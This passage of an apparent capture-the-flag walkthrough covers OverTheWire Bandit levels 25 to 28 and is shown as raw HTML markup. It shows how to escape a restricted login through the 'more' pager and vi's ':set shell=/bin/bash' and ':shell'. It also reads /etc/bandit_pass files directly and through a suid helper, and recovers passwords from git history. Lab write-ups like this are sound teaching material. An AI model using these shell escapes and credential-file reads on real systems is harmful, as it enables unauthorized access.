&lt;span class=&quot;giallo-l&quot;&gt;&lt;span aria-hidden=&quot;true&quot; class=&quot;giallo-ln&quot; style=&quot;color: light-dark(#BDAE93, #625E5A);&quot;&gt;27&lt;&#x2F;span&gt;&lt;span&gt;HELP -- Press RETURN for more, or q when done&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;Now back to the challenge at hand.&lt;&#x2F;p&gt;
&lt;h4 id=&quot;solution-3&quot;&gt;&lt;a class=&quot;zola-anchor&quot; href=&quot;#solution-3&quot; aria-label=&quot;Anchor link for: solution-3&quot;&gt;Solution&lt;&#x2F;a&gt;&lt;&#x2F;h4&gt;
&lt;p&gt;Bandit 25 has an ssh key for bandit 26 in the home directory. We’ll retrieve that first so we can ssh directly into bandit 26. But, if you try to login with this key we’re greeted with the usual message followed by a closed connection.&lt;&#x2F;p&gt;
&lt;pre class=&quot;giallo&quot; style=&quot;color-scheme: light dark; color: light-dark(#3C3836, #C5C9C5); background-color: light-dark(#FBF1C7, #181616);&quot;&gt;&lt;code data-lang=&quot;plain&quot;&gt;&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;$ ssh bandit26@bandit.labs.overthewire.org -i bandit26.key&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;--- snip ---&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;--[ More information ]--&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;  For more information regarding individual wargames, visit&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;  http:&#x2F;&#x2F;www.overthewire.org&#x2F;wargames&#x2F;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;  For support, questions or comments, contact us on discord or IRC.&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;  Enjoy your stay!&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;  _                     _ _ _   ___   __&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt; | |                   | (_) | |__ \ &#x2F; &#x2F;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt; | |__   __ _ _ __   __| |_| |_   ) &#x2F; &#x2F;_&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt; | &amp;#39;_ \ &#x2F; _` | &amp;#39;_ \ &#x2F; _` | | __| &#x2F; &#x2F; &amp;#39;_ \&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt; | |_) | (_| | | | | (_| | | |_ &#x2F; &#x2F;| (_) |&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt; |_.__&#x2F; \__,_|_| |_|\__,_|_|\__|____\___&#x2F;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot; style=&quot;background-color: light-dark(#EBDBB260, #393836);&quot;&gt;&lt;span&gt;Connection to bandit.labs.overthewire.org closed.&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;The crux of this challenge relies on that fact that the paging of &lt;code&gt;more&lt;&#x2F;code&gt; is dependent upon the size of the text input. If the number of lines of text exceed the available lines on-screen then &lt;code&gt;more&lt;&#x2F;code&gt; will paginate the output, otherwise it behaves like the &lt;code&gt;cat&lt;&#x2F;code&gt; command. So, in the case above, my terminal was able to print the entire &lt;code&gt;text.txt&lt;&#x2F;code&gt; file which we can probably assume contains the ASCII art of bandit26 since that’s the last thing we see and the only thing that deviates from the normal welcome message from previous levels.&lt;&#x2F;p&gt;
&lt;p&gt;So, that means it should be possible to trigger the pager by shrinking the height of our terminal to less than 6 lines high.&lt;&#x2F;p&gt;
&lt;p&gt;&lt;img src=&quot;&#x2F;images&#x2F;otw-bandit&#x2F;level_26_more_1.png&quot; alt=&quot;level 26 more truncation&quot; &#x2F;&gt;&lt;&#x2F;p&gt;
&lt;p&gt;Since the output is paginated, the connection doesn’t immediately end because the &lt;code&gt;more&lt;&#x2F;code&gt; program is waiting for us to page through the remaining content. However, &lt;code&gt;more&lt;&#x2F;code&gt; has some other features that can help us escape this prompt. If you press either the &lt;code&gt;h&lt;&#x2F;code&gt; or &lt;code&gt;?&lt;&#x2F;code&gt; key while on this prompt, &lt;code&gt;more&lt;&#x2F;code&gt; will list out a summary of commands. One of which includes the option to execute commands in a subshell. &lt;img src=&quot;&#x2F;images&#x2F;otw-bandit&#x2F;level_26_more_help.png&quot; alt=&quot;level 26 more help&quot; &#x2F;&gt;&lt;&#x2F;p&gt;
&lt;p&gt;This is promising and there may be a way to execute commands directly via &lt;code&gt;more&lt;&#x2F;code&gt; to retrieve the bandit26 password and to solve for the next one. However, it’s quite laborious since &lt;code&gt;more&lt;&#x2F;code&gt; won’t yield any output for any commands we run, so we would have to write to various temporary files to manage it.&lt;&#x2F;p&gt;
&lt;p&gt;Instead, I’m going to show you a neat trick with Vi. If you look carefully there’s an option just below the &lt;code&gt;!&amp;lt;cmd&amp;gt;&lt;&#x2F;code&gt; option. The &lt;code&gt;v&lt;&#x2F;code&gt; command which will open &lt;code&gt;vi&lt;&#x2F;code&gt;.&lt;&#x2F;p&gt;
&lt;h4 id=&quot;vi-and-vim&quot;&gt;&lt;a class=&quot;zola-anchor&quot; href=&quot;#vi-and-vim&quot; aria-label=&quot;Anchor link for: vi-and-vim&quot;&gt;Vi and Vim&lt;&#x2F;a&gt;&lt;&#x2F;h4&gt;
&lt;p&gt;Vi is a powerful text editor that is a common default on Linux systems. You may have also heard of its descendant Vim which has even more capabilities.&lt;&#x2F;p&gt;
&lt;p&gt;I won’t be going into much detail on the features of Vim here. Just enough to demonstrate the solution, but I highly recommend working through the beginner section of the &lt;a rel=&quot;external&quot; href=&quot;https:&#x2F;&#x2F;thevaluable.dev&#x2F;vim-commands-beginner&#x2F;&quot;&gt;Vim Guide&lt;&#x2F;a&gt; by &lt;a rel=&quot;external&quot; href=&quot;https:&#x2F;&#x2F;thevaluable.dev&quot;&gt;The Valuable Dev&lt;&#x2F;a&gt; if you’re interested in discovering its power.&lt;&#x2F;p&gt;
&lt;p&gt;From here on out I’ll refer to Vi and Vim collectively as Vim for simplicity. Just be aware they are in fact distinct. Even if we don’t run into any distinguishing features in this walkthrough.&lt;&#x2F;p&gt;
&lt;p&gt;Firstly, Vim is not a typical text editor like most folks are familiar with like Windows’ Notepad and Apple’s TextEdit. Vim exists entirely in the terminal and was designed to function entirely without a pointing device like a mouse. Vim is what’s known as a modal editor. Instead of always interpreting input from the keyboard as text to be written, Vim has several different modes:&lt;&#x2F;p&gt;
&lt;ul&gt;
&lt;li&gt;normal mode (this is the default mode usually used for navigating your files)&lt;&#x2F;li&gt;
&lt;li&gt;insert mode (this is like your typical text editors)&lt;&#x2F;li&gt;
&lt;li&gt;visual mode (kind of like when you select text with your mouse in other editors)&lt;&#x2F;li&gt;
&lt;li&gt;command mode&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;p&gt;The main thing you need to know for this challenge is that the colon &lt;code&gt;:&lt;&#x2F;code&gt; is used to enter command mode.&lt;&#x2F;p&gt;
&lt;p&gt;The first command we’ll use is &lt;code&gt;:edit&lt;&#x2F;code&gt;. This command will open a file so let’s use it to grab the bandit26 password.&lt;&#x2F;p&gt;
&lt;pre class=&quot;giallo&quot; style=&quot;color-scheme: light dark; color: light-dark(#3C3836, #C5C9C5); background-color: light-dark(#FBF1C7, #181616);&quot;&gt;&lt;code data-lang=&quot;plain&quot;&gt;&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;:edit &#x2F;etc&#x2F;bandit_pass&#x2F;bandit26&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;&lt;pre class=&quot;giallo&quot; style=&quot;color-scheme: light dark; color: light-dark(#3C3836, #C5C9C5); background-color: light-dark(#FBF1C7, #181616);&quot;&gt;&lt;code data-lang=&quot;plain&quot;&gt;&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;[REDACTED BANDIT 26 PASSWORD]&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;~&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;~&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;~&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;~&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;~&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;&amp;quot;&#x2F;etc&#x2F;bandit_pass&#x2F;bandit26&amp;quot; [readonly] 1L, 33B           1,1           All&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;While this is a good first step, we still need some way access a shell to complete the next level.&lt;&#x2F;p&gt;
&lt;p&gt;Fortunately Vim can also open a shell with the &lt;code&gt;:shell&lt;&#x2F;code&gt; command. You can read more about it with the &lt;code&gt;:help&lt;&#x2F;code&gt; command. The full command is &lt;code&gt;:help :shell&lt;&#x2F;code&gt;.&lt;&#x2F;p&gt;
&lt;p&gt;&lt;img src=&quot;&#x2F;images&#x2F;otw-bandit&#x2F;level_25_vim_shell_help.png&quot; alt=&quot;Vim :shell help&quot; &#x2F;&gt;&lt;&#x2F;p&gt;
&lt;p&gt;Unfortunately, by default, it uses the same shell that spawned the process. Use the set command to change the mentioned &lt;code&gt;shell&lt;&#x2F;code&gt; variable like so.&lt;&#x2F;p&gt;
&lt;pre class=&quot;giallo&quot; style=&quot;color-scheme: light dark; color: light-dark(#3C3836, #C5C9C5); background-color: light-dark(#FBF1C7, #181616);&quot;&gt;&lt;code data-lang=&quot;plain&quot;&gt;&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;:set shell=&#x2F;bin&#x2F;bash&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;At last, we can open a bash shell with the &lt;code&gt;:shell&lt;&#x2F;code&gt; command.&lt;&#x2F;p&gt;
&lt;p&gt;&lt;img src=&quot;&#x2F;images&#x2F;otw-bandit&#x2F;level_25_vim_shell.png&quot; alt=&quot;Vim shell&quot; &#x2F;&gt;&lt;&#x2F;p&gt;
&lt;h3 id=&quot;level-26&quot;&gt;&lt;a class=&quot;zola-anchor&quot; href=&quot;#level-26&quot; aria-label=&quot;Anchor link for: level-26&quot;&gt;Level 26&lt;&#x2F;a&gt;&lt;&#x2F;h3&gt;
&lt;blockquote&gt;
&lt;p&gt;Good job getting a shell! Now hurry and grab the password for bandit27!&lt;&#x2F;p&gt;
&lt;&#x2F;blockquote&gt;
&lt;ul&gt;
&lt;li&gt;If we look in the home directory of bandit27 we’ll find a setuid script called &lt;code&gt;bandit27-do&lt;&#x2F;code&gt;. When we run it we get the following output.&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;p&gt;This level is essentially a duplicate of &lt;a href=&quot;https:&#x2F;&#x2F;www.cblanken.dev&#x2F;blog&#x2F;overthewirebandit&#x2F;#level-19&quot;&gt;Level 19&lt;&#x2F;a&gt; since the real difficulty is in gaining a shell via &lt;code&gt;more&lt;&#x2F;code&gt; as shown in &lt;a href=&quot;https:&#x2F;&#x2F;www.cblanken.dev&#x2F;blog&#x2F;overthewirebandit&#x2F;#level-25&quot;&gt;Level 25&lt;&#x2F;a&gt;.&lt;&#x2F;p&gt;
&lt;p&gt;The suid binary &lt;code&gt;bandit27-do&lt;&#x2F;code&gt; is available in the home directory.&lt;&#x2F;p&gt;
&lt;pre class=&quot;giallo&quot; style=&quot;color-scheme: light dark; color: light-dark(#3C3836, #C5C9C5); background-color: light-dark(#FBF1C7, #181616);&quot;&gt;&lt;code data-lang=&quot;plain&quot;&gt;&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;$ .&#x2F;bandit27-do&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;Run a command as another user.&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;  Example: .&#x2F;bandit27-do id&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;Print the bandit27 password like so.&lt;&#x2F;p&gt;
&lt;pre class=&quot;giallo&quot; style=&quot;color-scheme: light dark; color: light-dark(#3C3836, #C5C9C5); background-color: light-dark(#FBF1C7, #181616);&quot;&gt;&lt;code data-lang=&quot;plain&quot;&gt;&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;$ .&#x2F;bandit27-do cat &#x2F;etc&#x2F;bandit_pass&#x2F;bandit27&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;[REDACTED BANDIT 27 PASSWORD]&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;&lt;h3 id=&quot;level-27&quot;&gt;&lt;a class=&quot;zola-anchor&quot; href=&quot;#level-27&quot; aria-label=&quot;Anchor link for: level-27&quot;&gt;Level 27&lt;&#x2F;a&gt;&lt;&#x2F;h3&gt;
&lt;blockquote&gt;
&lt;p&gt;There is a git repository at &lt;code&gt;ssh:&#x2F;&#x2F;bandit27-git@localhost&#x2F;home&#x2F;bandit27-git&#x2F;&lt;&#x2F;code&gt; repo via the port 2220. The password for the user bandit27-git is the same as for the user &lt;code&gt;bandit27&lt;&#x2F;code&gt;.&lt;&#x2F;p&gt;
&lt;p&gt;Clone the repository and find the password for the next level.&lt;&#x2F;p&gt;
&lt;&#x2F;blockquote&gt;
&lt;h4 id=&quot;git&quot;&gt;&lt;a class=&quot;zola-anchor&quot; href=&quot;#git&quot; aria-label=&quot;Anchor link for: git&quot;&gt;Git&lt;&#x2F;a&gt;&lt;&#x2F;h4&gt;
&lt;p&gt;Git is a software version control system. As of this writing Git is probably the most popular version control system for software and has been for a while. At any rate, you’ll likely come across it while doing any kind of IT administration or security work.&lt;&#x2F;p&gt;
&lt;p&gt;The best resource to learn about Git is probably the &lt;a rel=&quot;external&quot; href=&quot;https:&#x2F;&#x2F;git-scm.com&#x2F;docs&quot;&gt;reference documentation&lt;&#x2F;a&gt; and the &lt;a rel=&quot;external&quot; href=&quot;https:&#x2F;&#x2F;git-scm.com&#x2F;book&#x2F;en&#x2F;v2&quot;&gt;Pro Git book&lt;&#x2F;a&gt; which is freely available online, but it isn’t necessary to know a lot of details for these challenges.&lt;&#x2F;p&gt;
&lt;p&gt;To start you really only need to know a few commands.&lt;&#x2F;p&gt;
&lt;table&gt;&lt;thead&gt;&lt;tr&gt;&lt;th&gt;Git Command&lt;&#x2F;th&gt;&lt;th&gt;Description&lt;&#x2F;th&gt;&lt;&#x2F;tr&gt;&lt;&#x2F;thead&gt;&lt;tbody&gt;
&lt;tr&gt;&lt;td&gt;&lt;a rel=&quot;external&quot; href=&quot;https:&#x2F;&#x2F;git-scm.com&#x2F;docs&#x2F;git-clone&quot;&gt;&lt;kbd&gt;git-clone(1)&lt;&#x2F;kbd&gt;&lt;&#x2F;a&gt;&lt;&#x2F;td&gt;&lt;td&gt;download a repository from a remote system&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td&gt;&lt;a rel=&quot;external&quot; href=&quot;https:&#x2F;&#x2F;git-scm.com&#x2F;docs&#x2F;git-checkout&quot;&gt;&lt;kbd&gt;git-checkout(1)&lt;&#x2F;kbd&gt;&lt;&#x2F;a&gt;&lt;&#x2F;td&gt;&lt;td&gt;interact with the repository at a certain commit&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td&gt;&lt;a rel=&quot;external&quot; href=&quot;https:&#x2F;&#x2F;git-scm.com&#x2F;docs&#x2F;git-log&quot;&gt;&lt;kbd&gt;git-log(1)&lt;&#x2F;kbd&gt;&lt;&#x2F;a&gt;&lt;&#x2F;td&gt;&lt;td&gt;list commits&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td&gt;&lt;a rel=&quot;external&quot; href=&quot;https:&#x2F;&#x2F;git-scm.com&#x2F;docs&#x2F;git-branch&quot;&gt;&lt;kbd&gt;git-branch(1)&lt;&#x2F;kbd&gt;&lt;&#x2F;a&gt;&lt;&#x2F;td&gt;&lt;td&gt;list branches&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;&#x2F;tbody&gt;&lt;&#x2F;table&gt;
&lt;p&gt;The repository mentioned in the prompt can be cloned with the following command.&lt;&#x2F;p&gt;
&lt;pre class=&quot;giallo&quot; style=&quot;color-scheme: light dark; color: light-dark(#3C3836, #C5C9C5); background-color: light-dark(#FBF1C7, #181616);&quot;&gt;&lt;code data-lang=&quot;plain&quot;&gt;&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;$ git clone ssh:&#x2F;&#x2F;bandit27-git@localhost:2220&#x2F;home&#x2F;bandit27-git&#x2F;repo&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;After entering the level password, the git clone should complete with some progress indicators.&lt;&#x2F;p&gt;
&lt;pre class=&quot;giallo&quot; style=&quot;color-scheme: light dark; color: light-dark(#3C3836, #C5C9C5); background-color: light-dark(#FBF1C7, #181616);&quot;&gt;&lt;code data-lang=&quot;plain&quot;&gt;&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;remote: Enumerating objects: 3, done.&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;remote: Counting objects: 100% (3&#x2F;3), done.&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;remote: Compressing objects: 100% (2&#x2F;2), done.&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;Receiving objects: 100% (3&#x2F;3), done.&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;remote: Total 3 (delta 0), reused 0 (delta 0), pack-reused 0&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;And, there should now be a directory named &lt;code&gt;repo&lt;&#x2F;code&gt; in the current directory.&lt;&#x2F;p&gt;
&lt;p&gt;The repository contains a single README file which contains the password.&lt;&#x2F;p&gt;
&lt;pre class=&quot;giallo&quot; style=&quot;color-scheme: light dark; color: light-dark(#3C3836, #C5C9C5); background-color: light-dark(#FBF1C7, #181616);&quot;&gt;&lt;code data-lang=&quot;plain&quot;&gt;&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;$ cat README&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;The password to the next level is: [REDACTED LEVEL 28 PASSWORD]&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;&lt;h3 id=&quot;level-28&quot;&gt;&lt;a class=&quot;zola-anchor&quot; href=&quot;#level-28&quot; aria-label=&quot;Anchor link for: level-28&quot;&gt;Level 28&lt;&#x2F;a&gt;&lt;&#x2F;h3&gt;
&lt;blockquote&gt;
&lt;p&gt;There is a git repository at &lt;code&gt;ssh:&#x2F;&#x2F;bandit28-git@localhost&#x2F;home&#x2F;bandit28-git&#x2F;&lt;&#x2F;code&gt; repo via the port 2220. The password for the user bandit28-git is the same as for the user &lt;code&gt;bandit28&lt;&#x2F;code&gt;.&lt;&#x2F;p&gt;
&lt;p&gt;Clone the repository and find the password for the next level.&lt;&#x2F;p&gt;
&lt;&#x2F;blockquote&gt;
&lt;p&gt;Just as before, clone the repository.&lt;&#x2F;p&gt;
&lt;pre class=&quot;giallo&quot; style=&quot;color-scheme: light dark; color: light-dark(#3C3836, #C5C9C5); background-color: light-dark(#FBF1C7, #181616);&quot;&gt;&lt;code data-lang=&quot;plain&quot;&gt;&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;$ git clone ssh:&#x2F;&#x2F;bandit28-git@localhost:2220&#x2F;home&#x2F;bandit28-git&#x2F;repo&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;This time, the &lt;code&gt;README&lt;&#x2F;code&gt; file contains a password that has been redacted.&lt;&#x2F;p&gt;
&lt;pre class=&quot;giallo&quot; style=&quot;color-scheme: light dark; color: light-dark(#3C3836, #C5C9C5); background-color: light-dark(#FBF1C7, #181616);&quot;&gt;&lt;code data-lang=&quot;markdown&quot;&gt;&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: light-dark(#7C6F64, #9E9B93);font-weight: bold;&quot;&gt;#&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#9D0006, #8BA4B0);font-weight: bold;&quot;&gt; Bandit Notes&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;Some notes for level29 of bandit.&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: light-dark(#7C6F64, #9E9B93);font-weight: bold;&quot;&gt;##&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#AF3A03, #8BA4B0);font-weight: bold;&quot;&gt; credentials&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: light-dark(#7C6F64, #9E9B93);&quot;&gt;-&lt;&#x2F;span&gt;&lt;span&gt; username: bandit29&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: light-dark(#7C6F64, #9E9B93);&quot;&gt;-&lt;&#x2F;span&gt;&lt;span&gt; password: xxxxxxxxxx&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;Examine the change history with the &lt;code&gt;git log&lt;&#x2F;code&gt; command.&lt;&#x2F;p&gt;
&lt;pre class=&quot;giallo&quot; style=&quot;color-scheme: light dark; color: light-dark(#3C3836, #C5C9C5); background-color: light-dark(#FBF1C7, #181616);&quot;&gt;&lt;code data-lang=&quot;plain&quot;&gt;&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;commit 674690a00a0056ab96048f7317b9ec20c057c06b (HEAD -&amp;gt; master, origin&#x2F;master, origin&#x2F;HEAD)&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;Author: Morla Porla &amp;lt;morla@overthewire.org&amp;gt;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;Date:   Thu Apr 10 14:23:19 2025 +0000&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot; style=&quot;background-color: light-dark(#EBDBB260, #393836);&quot;&gt;&lt;span&gt;    fix info leak&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;commit fb0df1358b1ff146f581651a84bae622353a71c0&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;Author: Morla Porla &amp;lt;morla@overthewire.org&amp;gt;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;Date:   Thu Apr 10 14:23:19 2025 +0000&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;    add missing data&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;commit a5fdc97aae2c6f0e6c1e722877a100f24bcaaa46&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;Author: Ben Dover &amp;lt;noone@overthewire.org&amp;gt;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;Date:   Thu Apr 10 14:23:19 2025 +0000&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;    initial commit of README.md&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;There’s a reference to an “info leak” from the previous commit. Check out the previous commit with the &lt;code&gt;git checkout&lt;&#x2F;code&gt; command.&lt;&#x2F;p&gt;
&lt;pre class=&quot;giallo&quot; style=&quot;color-scheme: light dark; color: light-dark(#3C3836, #C5C9C5); background-color: light-dark(#FBF1C7, #181616);&quot;&gt;&lt;code data-lang=&quot;plain&quot;&gt;&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;$ git checkout fb0df1358b1ff146f581651a84bae622353a71c0&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;This will change the repository to its original state at the specified commit hash.&lt;&#x2F;p&gt;
&lt;p&gt;At this point in the repositories history, the bnadit29 password had not yet been redacted in the &lt;code&gt;README&lt;&#x2F;code&gt; file.&lt;&#x2F;p&gt;
&lt;pre class=&quot;giallo&quot; style=&quot;color-scheme: light dark; color: light-dark(#3C3836, #C5C9C5); background-color: light-dark(#FBF1C7, #181616);&quot;&gt;&lt;code data-lang=&quot;markdown&quot;&gt;&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: light-dark(#7C6F64, #9E9B93);font-weight: bold;&quot;&gt;#&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#9D0006, #8BA4B0);font-weight: bold;&quot;&gt; Bandit Notes&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;Some notes for level29 of bandit.&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: light-dark(#7C6F64, #9E9B93);font-weight: bold;&quot;&gt;##&lt;&#x2F;span&gt;&lt;span style=&quot;color: light-dark(#AF3A03, #8BA4B0);font-weight: bold;&quot;&gt; credentials&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: light-dark(#7C6F64, #9E9B93);&quot;&gt;-&lt;&#x2F;span&gt;&lt;span&gt; username: bandit29&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
